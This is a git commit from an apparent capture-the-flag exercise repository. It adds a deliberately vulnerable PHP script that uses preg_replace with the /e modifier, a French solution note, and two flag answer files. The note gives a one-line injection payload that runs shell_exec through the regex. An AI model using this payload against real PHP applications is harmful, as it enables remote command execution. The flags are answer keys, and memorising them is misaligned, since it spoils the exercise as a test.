level 6 and level 7

This commit is contained in:
Lapin 2021-01-27 15:34:35 +01:00
parent 89be4b53ca
commit e795a36901
4 changed files with 36 additions and 0 deletions

18
level06/Resource/level06.php Executable file
View File

@ -0,0 +1,18 @@
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) { $a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>

16
level06/Resource/solution Normal file
View File

@ -0,0 +1,16 @@
On a vu qu'il y avait un script php qi etait executer par un executable.
C'ette executable prent en argument un fichier et transmet le comptenue du fichier au script php.
Ce scripte php effectue plusieur regex.
On a telecharger ce scripte pour l'indenter correctement et pouvoir un peu mieux le lire malgres les regex...
Apres quelque recherche sur les regex, preg_replce et /e en php, on a efectuer une simple recherche google:
"ctf preg_replace /e"
le premier liens etait un exo de ctf remarcablement identique a notre exercice:
https://0x00sec.org/t/how-to-pwned-nebula-level09-php-preg-replace/812
il faut un ficher avec
[x {${shell_exec(getflag)}}]

1
level06/flag Normal file
View File

@ -0,0 +1 @@
wiok45aaoguiboiki2tuin6ub

1
level07/flag Normal file
View File

@ -0,0 +1 @@
fiumuikeil55xe9cu4dood66h